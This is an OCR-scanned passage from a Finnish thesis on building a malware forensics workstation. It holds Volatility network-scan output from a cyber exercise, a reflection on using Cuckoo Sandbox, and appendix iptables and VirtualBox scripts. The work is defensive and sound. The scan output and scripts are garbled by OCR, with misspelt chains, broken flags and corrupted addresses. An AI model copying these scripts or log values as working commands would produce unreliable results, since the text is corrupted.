0x7e268330 LISTENING 324 svchost.exe

0x7ddcd570 385b:403:80fa: ffff:385b:403:80fa: ffff:0 CLOSED 476 lsass.exe

0x7e165010 381b:1803:80fa: ffff:381b:1803:80fa: ffff:0 CLOSED 476 lsass.exe

0x7e17cbad q 104.192.81.4:0 CLOSED 4 System

0x7e2318c0 56.91.4.3:0 CLOSED 1224 fshoster32.exe

0x7e332590 .0.0. 127.0.0.1:1029 ESTABLISHED 1540 nxlog.exe

0x7e340970 .0.0.1: 127.0.0.1:1028 ESTABLISHED 1540 nxlog.exe

0x7e4c08a0 .0.0.0: 932 svchost.exe 2019-05-21 UTC+0000
0x7e4c08a0 932 svchost.exe 2019-05-21 UTC+0000
0x7e552010 .0.0.0: 932 svchost.exe 2019-05-21 :32:16 UTC+0000)|
0x7e5a4b70 .0.0. 476 lsass.exe 2019-05-21 UTC+0000)|
0x7e5a5200 .0.0.0: 476 lsass.exe 2019-05-21 UTC+0000
0x7e5a5200 476 lsass.exe 2019-05-21 11:32:10 UTC+0000)
0x7e4ed270 .0.0.0: .0.0.0: LISTENING 824 svchost.

0x7e4f0ado 5 B LISTENING 824 svchost.

0x7e4f0ado LISTENING 824 svchost.

0x7e6f02d0 .0.0. .0.0.0: LISTENING 364 wininit,

0x7e73b7b0 .0.0: .0z LISTENING 664 svchost.

0x7e73b7b0 LISTENING 664 svchost.

0x7e744add .0.0.0: .0.0.0: LISTENING 364 wininit.

0x7e744ado LISTENING 364 wininit.

0x7e746aa0 .0.0.0: .0.0.0: LISTENING 664 svchost.

0x7e7579e0 .0.0.0: .0.0.0: LISTENING 716 svchost.

0x7e7579e0 LISTENING 716 svchost.

0x7e779e70 .0.0.: .0.0.0: LISTENING 716 svchost.

0x7f50ecbd .0.8- 824 svchost. 2019-05-21 11:32:18 UTC+0000)
0x7fa48d70 .0.0.0: 2512 CiscoWebexUpda 2019-05-21 11:38: UTC+0000)|
0x7fa69ecO .0.0. 2512 CiscoWebexUpda 2019-05-21 11 UTC+0000
0x7fade010 .0.0.0: 2512 CiscoWebexUpda 2019-05-21 11 UTC+0000)|
0x7fado010 2512 CiscolebexUpda 2019-05-21 11:38:18 UTC+0000
0x7fbb8cbo .0.0. 2512 CiscoWebexUpda 2019-05-21 11 UTC+0000
0x7fd49760 .0.0.0: 2512 CiscoWebexUpda 2019-05-21 11 UTC+0000
0x7fd49760 : 2512 CiscoWebexUpda 2019-05-21 11 UTC+0000
0x7fa626b0 10.231.2.103:52632 91.202.113.100:8080 CLOSED 2512 CiscoWebexUpda

0x7fa6f010 10.231.2.103:52618 10.230.1.10:389 ESTABLISHED 2512 CiscoWebexUpda

0x7fd40a90 10.231.2.103:52628 91.202.113.100:8443 CLOSE WAIT 4236 jusched.exe

Kuvio 52. Volatility -f muistivedos.vmem —profile=Win7SP1x64 netscan
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8 Pohdinta

Opinndytetyossa paastiin tilaajaorganisaation maarittelemiin tavoitteisiin ja loppu-
tuotteena rakentui prototyyppitasoinen forensiikkatydasema. Opinnaytetyo kuvaa ja
ohjeistaa forensiikkatydaseman asentamisen ja sen kayttoon liittyvia prosesseja. Tyo-
asemaa pystyttiin hyddyntamaan ohjelmien ja tiedostojen dynaamiseen ja staatti-
seen analysointiin. Kansallisen kyberturvalliuusharjoituksen aikana voitiin todeta,
ettd tydasema nopeutti seka sdasti aikaa tiedostojen analysoinnissa. Tiedostot voitiin
analysoida ty6aseman avulla dynaamisesti ja niiden kdyttaytyminen saatiin nopeam-
min selville, kuin jos tiedostoja olisi analysoitui suoraan staattisesti. Lisdaksi tydasema
antoi mahdollisuuden analysoida muistivedoksia harjoituksen aikana. Tydasema tar-
josi taten harjoituksen tilanneanalyysiin tukea ja nopeutta, koska haittaohjelmien
kaytosta voitiin analysoida nopeasti. Tama taas nopeutti vastatoimien tekemista.
Tastd voidaan todeta, etta organisaatio hyotyisi todennakdisesti forensiikkatydase-
masta myos niin sanotussa oikeassa tilanteessa ollessaan esimerkiksi kyberhyokkayk-

sen kohteena.

Ulkoisen USB-muistin kadytto ja sen prosessit koeponnistettiin myds kyberharjoituk-
sen aikana. Nama todettiin toimiviksi ja selkeiksi kdayttaa. Ainoana miinuksena todet-
tiin palomuurisaantojen aktivoinnit ja deaktivoinnit, jotka unohtuivat prosessissa hel-
posti. Esimerkiksi palomuurilta unohtui avata internet-liikenne virtuaalikoneelle, jol-
loin tiedoston analysointi jouduttiin aloittamaan alusta ja tdma hidasti prosessia.
Tata ongelmaa helpottavat kuitenkin palomuurisaanndista tehdyt bash-skriptit, jotka

voidaan ajaa yhdella komennolla terminaalista.

Lisdksi ulkoisen USB-muistin kdyton prosessiin voisi miettia eri ratkaisuja. Esimerkiksi
formatoinnin sijaan USB-muistin muistin voisi ylikirjoittaa. Ylikirjoitus on varmempi
tapa tyhjentda muisti kuin formatointi. Tarpeeksi monen ylikirjoituksen jalkeen tieto
haviaa tikulta, jonka jalkeen sita ei voi enda palauttaa. Taten normaalin USB-muistin
voisi esimerkiksi korvata itsensd automaattisesti ylikirjoittavalla USB-muistilla. Lisaksi

tarjolla on ohjelmistoja, joilla normaalin USB-muistin muisti voitaisiin ylikirjoittaa.
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Nain muistilla olevat haittaohjelmat saataisiin havitettyd varmemmin. (Kleiman,

Sundhar R.S. & Wright 2008.)

Forensiikkaty6asemaa voi vield jatkojalostaa ja kehittaa rutkasti. Tydaseman kannat-
taisi olla suorituskyvyltaan paljon tehokkaampi, koska analysointien aikana tydase-
man suorittimen kaytto oli usein 100% ja analysoinnit saattoivat tasta johtuen kestaa
kauemmillaan noin kymmenen minuuttia. Esimerkiksi lisaamalla tydaseman keskus-
muistin maaraa voidaan virtuaalikoneelle allokoida enemman keskusmuistia ja taten
analysoinnit nopeutuvat. Lisdksi tydasemalla kannattaisi olla ainakin kaksi erillista ko-
valevya, jotta eri kayttojarjestelmat voidaan asentaa eri kovalevyille. Tall6in jos toi-
nen kovalevy jostain syysta hajoaa eivat kaikki tiedot tydasemalta havia ja taten tyo-
asemasta ei tule taysin kayttokelvoton ja tydaseman asentamista ei tarvitse aloittaa

taysin alusta.

Cuckoon tiedostojen analysointiin kdayttamalle virtuaalikoneelle olisi suositeltavaa
asentaa Microsoft Office, jotta asiakirjatiedostojen (kuten esim. Word- ja Excel-tie-
dostojen) analysointi olisi luotettavampaa, koska talloin asiakirjat avautuisivat virtu-
aalikoneella oikein. Huomioitavaa on kuitenkin se, ettd Microsoft Officen asennuksen
yhteydessa tulee olla toimiva maksullinen lisenssi. Mita enemman tarpeellisia ohjel-
mia Cuckoon virtuaalikoneelle asentaa, sitd tarkempia tuloksia Cuckoo voi antaa. Tar-

keaa onkin tunnistaa nama tarpeelliset ohjelmat.

Cuckoolla voisi ottaa myds kuvankaappauksia analysoinnin aikana virtuaalityoko-
neelta analysoitavasta kohteesta asentamalla Pythonin Pillow nimisen lisdosan. Tama
antaisi lisdd materiaalia Cuckoon luomaan raporttiin. Lisdksi Cuckoo olisi mahdollista
asentaa siten, ettda Cuckoon luoman raportti voitaisiin tallentaa pdf-muotoon. Tama
helpottaisi ja nopeuttaisi mahdollisesti raportin analysointia, kasittelya ja sailytta-

mista seka tiedon jakamista eteenpain.

Staattiseen haittaohjelmien analysointiin forensiikkatydasema ei talld hetkella tarjoa
juurikaan tukea. Tata varten tydasemalla voitaisiin asentaa ohjelmisto kuten IDA (In-

teractive Disassembler), joka mahdollistaisi ohjelmien takaisinmallintamisen. Tama
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lisdisi analysoitavien ohjelmien kdytoksen tunnistamista, ilman ohjelman suoritta-
mista. On kuitenkin huomioitavaa, etta ohjelmien takaisinmallinnus vaatii erikois-

osaamista ja IDA on maksullisen lisenssin varainen ohjelmisto yrityskayttoon.

Nykypadivana on huomioitavaa, etta kehittyneet haittaohjelmat osaavat havaita min-
kalaisella alustalla itse haittaohjelmaa pyritdan suorittamaan. Kun kehittynyt haitta-
ohjelma huomaa, etta sita ollaan suorittamassa virtuaalikoneella voi se kayttaytya eri
lailla peittaakseen oikean tarkoituksensa. Haittaohjelma voi esimerkiksi pitaa haitalli-
sen koodinsa salattuna tai olla yhdistamatta haitalliseen IP-osoitteeseen. Taman
tyyppisien haittaohjelmien kayttaytymisen tunnistaminen onkin kompastuskivi
Cuckoo Sandboxille ja muille sen kaltaisille virtuaalisointia hyvaksikayttaville haitta-
ohjelmien analysointi ohjelmistoille. Tallaisen toiminnan tunnistamiseen on kuitenkin
olemassa omat keinonsa, joita voidaan tutkia haittaohjelman staattisella analysoin-
nilla. Taten voidaan tunnistaa, osaako haittaohjelma paatella, minkalaisella alustalla
sitd suoritetaan. (How Malware Detects Virtualized Environment (and its Counter-

measures) 2016.)

Toimintatutkimuksissa tehdadan tyypillisesti yhteistyota toimeksiantajan kanssa. Tassa
tutkimuksessa yhteistyo oli tiivista ja sen avulla tutkimuksessa pysyttiin toimeksianta-
jan vaatimuksissa. Varsinainen tutkimustyo toteutettiin empiirisin keinoin. Se oli valt-
tamatonta, koska pelkka kirjallisuus, haastattelut tai tilastotieto ei olisi mahdollista-
nut forensiikkatydaseman raatalointia toimeksiantajan vaatimusten mukaiseksi.
Vaikka forensiikkatydasema kehitettiin yhta harjoitusta varten ja yhdelle organisaa-
tiolle, tdaman tutkimuksen dokumentaatiota voidaan hyodyntaa jatkossa myos muissa
organisaatioissa. Organisaatiot voivat kdyttaa tata tyota oman forensiikkatydase-
mansa kehittamiseen, jota voivat hyodyntaa joko yhteisharjoituksissa, organisaation

sisdisissa harjoituksissa tai osana organisaation paivittaista toimintaa.

Maailmassamme, jossa informaatioteknologia jatkaa kasvuaan kasvavat myos kybe-
ruhat. Oiva tapa parantaa organisaation itsendista torjunta- ja havainnointikykya on
toteuttaa digitaaliseen forensiikkaan keskittyva tydasema, joka antaa tarkempaa tie-
toa mahdollisista haittaohjelmista seka tukee organisaatiota selvitystyossa. Avoimen-

lahdekoodin ohjelmistot tarjoavat tahan hyvan lahtotilanteen.
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Liitteet

Liite 1. iptables_rules.sh

#!/bin/bash

iptables -A FORWAD -0 enp0s31f6 -i vboxnet0 -s 192.168.56.0/24 -m conntrack -
cstate NEW -j ACCEPT

iptables -A FORWAD -m conntrack —cstate ESTABLISHED, RELATED -j ACCEPT
iptables -A POSTROUTING -t nat - MASQUERADE
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Liite 2. remove_iptables_rules.sh

#1/bin/bash

#Jos saantdjen poistamisessa on ongelmia, kdytda kommenteissa olevia komentoja lis-
tataksesi saannot.

# sudo iptables -L —line-numbers

iptables -D FORWAD 2

iptables -D FORWAD 1

# sudo iptables -t nat -v -L -n —line-number

iptables -t nat -D POSTROUTING 1



Liite 3. vboxmanage_if.sh

#1/bin/bash
VBoxManage hostonlyif create

VBoxManage hostonlyif ipconfig vboxnet0 --ip 192.168.56.1
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